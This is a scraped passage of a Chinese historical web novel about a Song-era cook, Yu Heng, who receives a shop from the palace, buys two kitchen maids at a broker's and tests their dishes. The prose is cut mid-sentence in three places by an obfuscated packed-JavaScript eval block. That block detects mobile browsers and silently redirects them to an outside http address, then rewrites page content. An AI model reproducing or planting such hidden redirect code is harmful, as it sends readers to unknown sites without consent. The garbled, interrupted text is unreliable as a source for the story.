譬如今日这一桌，从食不过是羊肉馒头、荷叶饼、水晶包儿与镜面糕，主食是玉延索饼与薏仁粥，另还有肚子羹、杏酪鹅，因为端午，膳局还呈上了几只口味形状各异的粽子。 太后近来苦夏，满满一桌子吃食，只有那玉延索饼多用了几筷。 玉延索饼，便是用山药制成的面条。 诗云“久缘多病疏云液，近为长斋煮玉延”，将山药水浸一夜，洗去黏液，再烘干磨筛成面。这样做成的面条，口味清淡，没胃口的人也能吃上两口。 用过朝食，官家看太后精神比前几日要好，便提议：“今年便在金明池多留几日再回宫吧。” 太后想了想：“也好。” 水多的地方，总是更凉快些，况且城外似乎就连空气都比内城新鲜。 虽然住在御苑，可官家还有朝政要忙，重要的大臣们也都跟了来。吃过朝食，陪太后略坐了会儿，官家就被太后赶去议事了。去年有几个州县遭了洪灾，今年立夏后雨水又这样多，不得不提前准备应对的举措。 总算打发走官家，太后立刻使人拿来软枕，舒舒服服地歪靠上去。 她上了年纪，却要在儿子面前正襟端坐，累得够呛！ 她忙不迭再招来蔡良，问询：“眼下汴京夏暑还兴吃冷淘吗？” 蔡良笑道：“回娘娘，民间立夏吃冷淘，从前朝就惯来如此。何况如今天下海清河晏，不比先时动荡，百姓们吃面浇头也丰盛许多，春末时候多吃鳜鱼，如今入了伏，则以炒虾、荆芥、胡瓜为主，拌上醯酱，爽口着哩。” 主子面前行走多年，蔡良很懂说话，马屁拍得自然又不尴尬。 太后听了，果然高兴，又忆起当年来：“哦？先时我在家中，夏月最喜食冷淘。厨娘常做槐叶冷淘，小孩子爱浇蔗酪，大人则多吃鳝丝的。” 扬州饭菜甜，就是炒鳝也放糖，那样有些甜咸口味的吃食，太后甚是想念。 蔡良微笑道：“娘娘想吃，吩咐司膳宫女便是。” 太后摇摇头，做了却不是那个味儿。 她又问：“她家酒楼，如今生意可还好？” 蔡良那日独自出宫没带旁人，便是想去太后口中的那一家，因为一些恩怨，不好叫人知晓，谁料被泼皮盯上了，打断他计划，在宫里养了几天伤，如今还没来得及去。 不过他也并非毫无准备：“如今汴梁人提起酒家，莫过樊楼与那一家。” 故人已矣，太后缓缓喝起茶来，半晌欣慰笑了：“她那性子，做什么都能成的。” 这话，蔡良不知道如何接。 “她做得一手好饭菜，带出来庖厨自然也好，你编这汴京饮食单子，恐怕她家是顶尖的。” 蔡良是老饕了，私下里出宫，没少吃汴京大小食肆酒楼，太后所提那酒楼……口味的确很好，放在过去，说是头筹也不为过，否则怎么和樊楼平分秋色呢？ 可如今，蔡良心里有另一家“头筹”。 “说出来怕引娘娘笑话，救老奴那小娘子，也做得好饭食，不比玉壶春的庖厨差。” 许是读过书， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15092351|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受过大家教养，蔡良在主子面前虽恭谦，却不一味附和，这也是太后喜欢与他说话的缘故。 太后看一眼他，很诧异：“一个市井小娘子，竟得你这般高评价……照这般说，汴梁人提起酒家，怎没有她姓名？” 蔡良颇慨叹地摇摇头：“两小娘子飘零，扎根汴梁不久，尚未有个一宅半店的，否则老奴早该发现此等美味。” 太后听他这样说，已经对虞蘅心生好感，又见他眉眼憾然，不禁笑斥：“左不过一间铺子，值得你露出这般表情？送她一间便是！” 蔡良得了准许，转头便吩咐手底下的小黄门准备去了。 送礼的小黄门走后，阿盼摸着那几匹料子爱不释手：“真好看，真好看。” 两匹杭绸、三匹细绢，藕色的、鹅黄的、烟粉的，都是适合小姑娘家颜色，还有那纱，天青水碧般清淡。 虞蘅摸了摸那匹纱，密密匝匝的手感，一点也不扎人，颜色说不出的清透，真是好东西。 虞蘅笑道：“这块拿来做两顶床帐子正好，不是总说夜里有虫咬你？” 这么好的料子拿来做床帐……这要是做出来，阿盼都舍不得睡觉了。 嘴上不舍，真裁出来，又第一时间去换上。 绿绡软帐，真个轻若云烟，人躺在里面，朦朦胧胧地只能看见个轮廓，不甚清晰，其实细看根本挡不住什么，阿盼好似理解了话本中那些“只着薄纱一片”的美人儿为何最是吸引人了。 做了两顶帐子，余下料子还够做两件纱衫，一人分了一件。 虞蘅女红不怎样，阿盼也不行，请了外头成衣店娘子做，顺便用其他缎子做了两身秋裳，再过两月大概就能穿上了，提前备着，免得换季店里忙，来不及做。 成衣店娘子少见这么好的料子，赞道：“这些买来可不便宜吧？你们两个小娘子，年纪轻轻，眼睛倒毒。” 实则礼单子里最值钱的，不是这几匹软滑柔顺的缎子，也不是那些金玉器具，而是薄薄一张屋契。 一间脚店，还带后院跟宅子。 脚店不能自酿酒水，利润比不上正店，但白得一间店铺，还带小院，已经很好了。 甚至很贴心的，选址就在枣花巷里头，只不过从巷尾搬到巷头，都不用再重新积攒食客。 蔡良也是考虑得很周到了，怕贸然送她一间正店，虞蘅不敢收。 一间脚店的地契，也要好几百两，更别提再加上院子，地段又好，其实算下来与城外买一家酒肆的银钱差不多了。 虞蘅缓了缓，抽回神思，将地契藏好，教阿盼留个心眼子，若旁人问起得了什么，就说明面上这些东西，每家都差不多的。 “晓得了。” 阿盼说话本子里写那大户人家不得宠的子女，有什么不同凡响的，都得“藏锋”，否则旁人知晓后，心里不痛快，光惦记去了。 她们眼下就得越发“沉寂”，到时候才能一鸣惊人。 虞蘅无语，一天净拿那话本当真。 “‘沉寂’倒不必，你只要不去与徐家婢子嚷嚷炫耀就成。”虞蘅幽幽地道。 阿盼小心思被看穿，嘿嘿一笑，“那徐娘子着实可恶，我想着气气她。” 于是每日赚了多少都特意跑人家门口闲聊，生怕对方听不见。 徐家婢子也是憨的，主家跟她们有恩怨，凑头便与阿盼玩到一起，因此挨了徐娘子几顿打，也不肯断交，两个年纪相仿的小姑娘，越发地情比金坚了。 虞蘅琢磨着，要是开店，只她与阿盼两人定是不够的，没准还得增加些人手。 22. 第 22 章 要添人手，虞蘅先向邻居娘子打听靠谱牙行。 邻居娘子吃着她送来的蜜煎果子配茉莉花茶，舒服得眼尾纹都展开了，想了想道：“要买仆，多往青鱼巷子去。” 虞蘅谢过她，一整碟蜜煎橄榄与了她吃。 时下经营铺子，若是人手不够，也有专门赁工的地方，为何不选择雇工而是买仆，虞蘅有自己的考量。 一则从阿盼口中听说了去年江南两道发了水灾的州县不少，今夏又歉收，就连汴京粮价都上涨，外地买卖儿女的人家只会更多，这时候买仆，划算。 况且，虽不能说她救她们于水火，至少还把人当人。 二则，灶台上的手艺无非功底与配方，从私心来讲，也只有自己人用着才放心，雇工到底难与自己一条心，一处使劲。 虽然添置奴仆这种行为属于“买卖人口”，但按穿越后经历来算，虞蘅已算是十足法外狂徒，再添这一桩不多，索性便入乡随了俗。 青鱼巷因建在鱼市旁边得名，入口初极狭才通人，往里走数十步才稍稍开阔些，整个巷子弥漫着一股臭鱼烂虾味。 在这样的地方，住了少说有一百来等待买主的奴仆。 两间打通的厢房里头，站着好些人，年纪小的都拿绳索串着，稍大些的被打怕了，即使门开着、手脚松着，也不跑了。 屋里弥漫着饭菜的味道，窗户跟门都开得窄，光线幽暗地透进来。牙婆舍不得点灯，便叫她们往前些站到光线下面来叫虞蘅瞧见，左右门口、巷子里都有牙行的壮汉守着。 也是巧，当初转手阿盼的那位陈牙婆，此时就在汴京，就在这牙行，手里的女孩们已经换了一批。 若当初阿盼没遇上虞蘅，恐怕也要跟随陈牙婆来到汴京，住在这样的小巷弄里，等待买主上门挑选。 到了门前，阿盼又不想跟着进去了。她初到船上不听话，陈牙婆打过她，她有些怕对方。 虞蘅叫她去，买了人，少不得还得添些日用，怕一人拿不下，更何况：“你如今什么身份，将来什么身份，只有她巴结你的份，你还怕她？” 阿盼想想也是，自己保不齐是要当大酒楼管事的，还怕她？去！ 不仅去，还得挺胸阔步地去。 陈牙婆满脸堆笑地迎上来：“两位想看什么样的奴婢？女使、小厮、粗使丫头，我这儿都有。” 其实还有，那边穿着细布衣裳，颜色好的，是卖与人家做妾的。 只是她们两个小娘子，瞧着不似嫁了人，便没向她们推。 也没有主母自个儿上街，贸然上去问人家买不买妾这样没眼力见的，一般都是见独自个的官人、或等买主张口问了，这才介绍。 虞蘅早与阿盼说好了，一会儿不管如何，面上都不能显出表情来，否则这陈牙婆忒精明，必定狠狠敲她们一笔。 想当初她决定阿盼时，便是脸上露出些不忍来，才叫对方抓住了这点叫价。好气！ “可有会些厨艺的女使？”虞蘅精打细算，“不用很通，只要略知一二。” 厨艺，在当下最值钱不过了。但凡有些厨艺的姑娘，跟人学几年艺，出来便成了“大家弟子”，莫说五十贯钱，一月二两月银都是少的。 似张兰娘那般的佼佼者，已经不能以月银来衡量了。 虞蘅不是抠搜怕花钱，而是怕花了钱，请回来一尊大佛，做个饭要似兰娘那般讲究。 不是不好，有人就好这一口，还不少，只她暂且还供不起。 女使其实便是普通丫鬟，大户人家都兴这么叫。陈牙婆这么说，一是讨买主欢心，二是跟那些资质实在粗陋的丫头区分开来，好卖上价，一个未经调教的粗使丫头只能卖到三至五贯钱，这些女使则通常要十五贯左右，若能掌握一门技能，更是奇货可居。 但到底掌握有限，不似聘个厨娘那般昂贵。 虞蘅存着捡漏的心，想瞧瞧牙行里有没有天资还不错的，买回去调教一番，也未可知不能上得大席面啊。 “有有有！”陈牙婆一听就知道，这是真买主，有要求。 那些说“都看看”的，多半看一圈也不会买。 陈牙婆对着名册点名，东边那一撮十六七岁的丫头里，被叫到名的便走前来。 “雀儿，将你会的都与小娘子说说。” 陈牙婆叫的雀儿，是里头个儿最高，年纪最大的一个，据说以前是通判家的厨婢，难怪头发都梳得比旁人齐整。 “都会做些什么菜？”虞蘅温声问。 “我做的骆驼蹄，颇得老太爷喜欢，另还有糟白鯈。” 虞蘅挑眉。 白鯈又叫翘嘴，长仅数寸，形狭扁，薄如刀，食之不必去鳞，味极美，又难于保存，所以价贵。在前朝更是皇室贡品，有诗云“白鱼如切玉,朱橘不论钱。”如今一个小小通判家的厨婢，竟然说自己“擅”烹白鱼，真是个惊喜。 至于骆驼蹄，则是形状仿若马蹄的煎包，馅儿有羊肉有豕肉有鱼肉，用猪羊油煎酥，是市井里很受欢迎一道小食。 “若有客人吃过你做的糟白鱼，道不好，却又道不出如何不好，叫你重做了来，你当如何？”虞蘅问她。 “白鱼价贵却难以存，食不惯之人亦不是常食之人，根本无需在意其言语。”那雀儿颇有些鼻孔看人的傲气。 虞蘅听了，并未说什么，转头看向她旁边穿蓝布裙子、靛衫子的姑娘——那姑娘直直盯着她们，似乎很想搭话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15093879|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又不敢。 虞蘅问她：“你呢？” “若是我，当先察其餐案，看碗中用了多少。若吃得七七八八，想来此人多半为找茬，或想白吃一顿饭食，该即刻报给管事。” “若没用多少？” “那便观其打扮、乡音，与其交谈，推测其偏好，再重做与他。” 又问了另几人，回答都无甚出彩的。 虞蘅点点头，转过头来寻穿靛衫子的那个：“你叫什么？” “姓何，在家行二。”何二娘怯怯的，没了方才回答时候激动。 雀儿脸色有些不好，这是没看上她。 陈牙婆大抵是收了这雀儿好处，还想再与虞蘅推一推：“小娘子要会做菜手艺的，还是雀儿出色些。” 虞蘅却道：“雀儿与何二娘，我都要了。不知索价几何？” 原本以为只能卖一个的，没想到送出去一对，今日走大运了！ 陈牙婆喜上眉梢：“小娘子好眼光，这两丫头可是我这天资最佳的。” 她牙上还有片菜叶，一笑，便露了出来。 虞蘅板着脸，怕自己一旦笑出来，那价钱便跟涨潮似的，忍得很是辛苦。 “旁人来问，我都是叫十八贯的，雀儿手艺又好……小娘子爽快，我便只收你十六贯一个。” “不能少些？” “小娘子不知，我们家已是汴京城内最实惠的了。”陈牙婆赔笑、 好贵，阿盼皱眉，拽拽她袖子：“蘅娘子不是说只买一个先。” 虞蘅点点头，似乎真斟酌起来：“我想了想，似乎也不必这么着急买。” 说着，牵了阿盼就走。 旁的牙人见她走开，已经在招揽她去自家瞧瞧了。 陈牙婆不愿嘴的肉飞了，忙道：“小娘子留步！其实还能再商议商议，十五贯怎样？” 虞蘅仿佛没听到般。 陈牙婆一咬牙，追了上去：“十四贯……不，二十七贯！二十七贯，雀儿与何二娘，都与你带走！” 虞蘅站定脚跟，露出个得意笑。 给何二娘与雀儿添置了铺盖、日用等，四个人手里大包小包，好在离家不远，走着便也到了。 离了牙行，阿盼闷闷不乐，虞蘅以为她是嫌贵，安慰她：“已经很划算了，放在往年，奴仆价贵时，动辄二十贯一人。” 阿盼却不是为银钱生气。 原本她还遮遮掩掩的，怕被认出来，可见陈牙婆彻底没认出她，心里反而不痛快。 这怎么说呢？好似你如今过得很好，却没办法叫你的仇敌知晓一般。 不过蘅娘子说得也对，自己过得好不好，自己知晓就成了，何必要叫人尽皆知。 23. 第 23 章 那间脚店虞蘅去看过，原先的主人很爱惜房屋，砖地上还铺了地衣，墙也新粉刷不久，只需修补修补缝隙，再把前阵子阴雨时霉了的墙角刷一刷，换几个漂亮摆件，剩下就是捯饬后院跟灶房的功夫了。 院子比从前在城外赁的那间还小，只够住下两人，虞蘅原本没打算添两人手，东西已搬了一半，眼下只好继续搬，便叫阿玲、阿柳先住孙娘子家，那边继续赁着。 ——雀儿是上一家雇主给起的名字，何二娘没有名讳，总这样叫着，有些怪且生分，干脆便都改了名字。 雀儿便唤作阿柳，何二娘则挑了阿玲。 东西什么都有，换上自己床铺就能睡，倒是省钱，花钱最多的还是厨房两口锅。 在保留原先的土灶大锅基础上，虞蘅到底又打了两口轻巧的带柄小锅，就连最纤瘦的阿柳都能拎动，好掌握、好颠锅。 这样，许多轻快的小炒就能贴上虞记食单子了。 阿柳阿玲到店第一天，来不及做午食，四人将就吃了阿盼从外头买回来的馎饦与炊饼，鸡汤馎饦里加些醋，配自家泡的辣萝卜，吃得也很尽兴，唯有阿柳不大习惯。 一是不惯与主家同桌而食，心里忐忑，一是见阿盼嫌素炊饼没味，竟徒手掰饼，夹些辣萝卜进去，张口便咬，不几口便吃完脸大一个饼，很不怎么雅观。阿柳既惊骇又嫌弃，怎有姑娘家这么能吃，吃得这么快？ 她没控制住表情，惹得阿盼不满，刚要还嘴讽刺，便听虞蘅问：“还有个饼你们谁吃？” 见阿柳伸手，阿盼立马夺过，恨恨地咬了一大口。 她能吃怎么了！能吃是福，蘅娘子都说看她吃相下饭还能多吃半碗，哼！ 阿柳：“……”她都吃三块了，自己一块没吃着。 算了，顾忌着对方比她早来，又是主人家心腹，阿柳抿抿唇，到底没说什么。 阿玲性子温软，见状分她半块饼子，又怕她嫌，小声解释：“没碰过，干净的。” 阿柳哼一声接过，算是下了这个台阶。 虞蘅将二人性子看在眼里。 到了下午，将要做暮食时，虞蘅有心考校二人厨艺水平，便叫她们在现有食材中自挑选，各做两道菜。 “就以家常酒菜为题，拿现有的肉菜做出一荤、一素来。” 阿柳顿时提出质疑：“家常酒菜人人会做，如何能看出手艺来？” 虞蘅看一眼阿柳，笑道：“知道你们从前都以精细为好，但咱们开的是脚店，须得知道，客人不会花大价钱上樊楼吃扦瓜皮，亦不会在脚店点什么金齑玉鲙。” 阿柳没话说了。 阿玲不是丫鬟出身，只在家给家人做过饭吃，有些不自信。 好在虞蘅不叫她有压力，并不站在厨房盯着。 但见阿柳那边已经皱着眉，捡了只鸡、一把油菜，她忙跟着在一众菜蔬里挑挑拣拣，最后拿了条活鱼、一捆茭白。 虞蘅在前堂吃茶吃果子，听厨房忙碌动静，不用自己动手，有种小资闲适。 阿盼总算寻到机会与她嚼舌根，不解问：“蘅娘子看上阿玲便罢了，怎么还将那阿柳也带回来。” 虞蘅放下茶盏子，故意拿捏腔调，斜睨她：“想知道？” 阿盼点头如啄米。 喝茶有些热，支使阿盼取来扇子，虞蘅一边给二人打扇，一边慢悠悠卖关子：“实则阿玲跟阿柳的回答，都不尽善。” “阿柳有些傲性，阿玲虽有原则，却不够自信，真起冲突时，怕也不能妥善解决。” 过刚、过弯都亦折啊。 阿盼便更糊涂了，“那蘅娘子还……” 虞蘅眨眨眼：“左右咱们是找厨子，又不是找管事，要尽善尽美作甚？” 只要天赋与人品还过得去，谁管那么多。 “所以蘅娘子问她们……” 虞蘅笑得眯起眼，想起来前辈子经历过的压力面，故弄玄虚之流，也让你们见识下。 估摸着两人做得差不多，虞蘅走进厨房，在门口便闻见一股酸香与酒香。 “好香气！” 虞蘅走近了瞧，锅中已经快要熬干，锅底咕嘟咕嘟冒着泡，斩小的鸡块上挂了浓厚汤汁，阿柳正忙着最后的翻炒。 另一口锅中焖着油菜，刚刚好熟，菜叶还保持着青翠，是加了熟油与豆酱同煮的缘故，上头还撒一把莳萝、茴香、生姜、花椒混合研磨成的粉末调味。 她做的都是殷实人家常吃的，也算是“家常菜”，并没跑题。 再看阿玲那边，正对着灶火添柴吹气。 夏日做饭最难消受的便是炎炎炉火，她满头大汗，却连汗也不及擦，只因阿柳手脚麻利，一荤一素已经做好，虞蘅也进来查看她们情况，心中着急，怕虞蘅嫌她慢，加快了手中速度，任由豆大的汗珠滚落滑进衣领，痒丝丝的。 虞蘅见她锅里煮的鱼，温声道：“做鱼急不得，照你平常怎么来就好。” 阿盼也跟着吸吸鼻子：“这鱼真香！”方才在阿柳身边时，她也直吸鼻子，却不说那焙鸡香不香。 哼，小姑娘，虞蘅笑着摇摇头，打发她去择菜。 二人一个做炉焙鸡与满山香，一个做煮鱼跟茭白鲊，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15096431|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只需再打个快手的汤菜，再将今日早晨买的羊肚杂料理了就好。 汤是极清极鲜的香蕈冬瓜汤，最适合夏天喝，消暑益气。调味只需一撮盐，一匙素油，便好喝的很。 青白的冬瓜浮在汤里，呈几近透明颜色，晒干的香蕈泡发了，切成小朵，浸饱汤，咸鲜鲜的。 羊肚则与鸡胗做一个爆双脆，羊肚与鸡胗片得厚肥，再其上改切花刀，越细越好——这是为了保持口感，又怕不够入味，想出来折中的法子。 旺火爆炒，勾芡、颠锅、撒番椒，艳艳一片，分不清是火光抑或番椒的红，连着掂三五下，就能出锅了，不能再拖，再拖就老了嚼不烂。 虞蘅觉得第一个发明爆炒的人简直是天才。 羊肚能用来做爆肚儿，羊肚塞肉，拿清汤汆，但虞蘅还是喜欢拿来猛火去炒。与鸡胗一起，都是脆嫩口感，与芹菜，则多一股清香。换成猪肚，未必吃着能这般过瘾。 阿盼吃多了虞蘅做的菜，这会子很能沉得住气，又去街上买了几个炊饼回来，往里夹菜，蘸了爆双脆的汤汁子，吃得高兴。阿柳与阿玲两个则是被颠锅给唬住了，再吃菜，简直惊为天人。 阿柳先前还不觉得有什么，肚杂一类，这是市井贱食，她做通判家丫鬟时，掌事厨娘为了节省开支，经常去买这些回来做给府里下人吃。 可能是那掌事厨娘处理得不好，吃起有一股腥臊味，她觉得虞蘅这个着实好，吃起爽辣脆嫩，辣得腮帮都痛，还不舍得放筷子。 辣得实在受不了，忽然福至心灵，就学起了阿盼拿炊饼夹菜吃。 阿盼嗤笑出来，有种大仇得报的解气。 虞蘅拍下她脑袋，尝了菜，对两人的手艺有了认知。 饭后，正式给她们分了工。 “从此后，阿柳随我在厨房，阿盼带着阿玲在前堂，若是忙不过来，兴许还要你来打下手。”后半句是对着阿玲说。 吃过阿柳做的炉焙鸡，鸡肉炖得酥烂，调味也不差，阿玲自知手艺比不上阿柳，没有异议，连忙答应下来。 虞蘅看一眼阿柳，对方绷着嘴角，高兴又不肯笑出来，不想别人觉得轻狂。 阿柳有脾气，但本性不坏，且这“坏脾气”是对时人来说，放后世，其实不过是个自信有主见的小姑娘罢了。 能做糟白鱼，还有拿手的点心，做菜天赋很不错，是虞蘅捡了便宜。 虞蘅分好工，阿盼却有些沮丧。 蘅娘子曾说优胜劣汰……人家都有一技之长，就连阿玲都能时不时进厨房帮工， 店里只有她一个吃白食的了！